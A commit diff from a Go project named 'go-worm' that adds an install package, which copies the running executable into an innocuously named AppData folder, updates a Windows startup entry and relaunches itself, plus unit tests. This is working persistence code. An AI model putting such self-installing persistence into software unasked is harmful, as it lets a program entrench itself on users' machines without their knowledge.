Add file upload functionality to the agent. Implement API endpoint for uploading files, including validation and error handling. Update web interface to support file selection and display upload status. Enhance input handling with configurable key delay for text input.
This commit is contained in:
@@ -0,0 +1,84 @@
|
||||
package install
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed,
|
||||
// refreshes an existing startup entry to that path, and re-launches from there.
|
||||
func Ensure() error {
|
||||
target, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
current, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
current, err = filepath.Abs(current)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
target, err = filepath.Abs(target)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if samePath(current, target) {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := copyExe(current, target); err != nil {
|
||||
if _, statErr := os.Stat(target); statErr != nil {
|
||||
return fmt.Errorf("copy to %s: %w", target, err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := syncStartup(); err != nil {
|
||||
return fmt.Errorf("update startup path: %w", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command(target, os.Args[1:]...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("relaunch from %s: %w", target, err)
|
||||
}
|
||||
os.Exit(0)
|
||||
return nil
|
||||
}
|
||||
|
||||
func copyExe(from, to string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
src, err := os.Open(from)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer src.Close()
|
||||
|
||||
dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer dst.Close()
|
||||
|
||||
if _, err := io.Copy(dst, src); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
return strings.EqualFold(a, b)
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package install
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
func TestSamePath(t *testing.T) {
|
||||
t.Parallel()
|
||||
cases := []struct {
|
||||
a, b string
|
||||
want bool
|
||||
}{
|
||||
{`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true},
|
||||
{`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := samePath(tc.a, tc.b); got != tc.want {
|
||||
t.Fatalf("samePath(%q, %q) = %v, want %v", tc.a, tc.b, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstalledExeName(t *testing.T) {
|
||||
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
|
||||
dir, err := config.InstallDir()
|
||||
if err != nil {
|
||||
t.Fatalf("InstallDir: %v", err)
|
||||
}
|
||||
exe, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
t.Fatalf("InstalledExe: %v", err)
|
||||
}
|
||||
if filepath.Base(exe) != config.InstalledExeName {
|
||||
t.Fatalf("InstalledExe base = %q, want %q", filepath.Base(exe), config.InstalledExeName)
|
||||
}
|
||||
if filepath.Dir(exe) != dir {
|
||||
t.Fatalf("InstalledExe dir = %q, want %q", filepath.Dir(exe), dir)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package install
|
||||
|
||||
func syncStartup() error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build windows
|
||||
|
||||
package install
|
||||
|
||||
import "tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
|
||||
func syncStartup() error {
|
||||
return startup.SyncInstalledPath()
|
||||
}
|
||||
Reference in New Issue
Block a user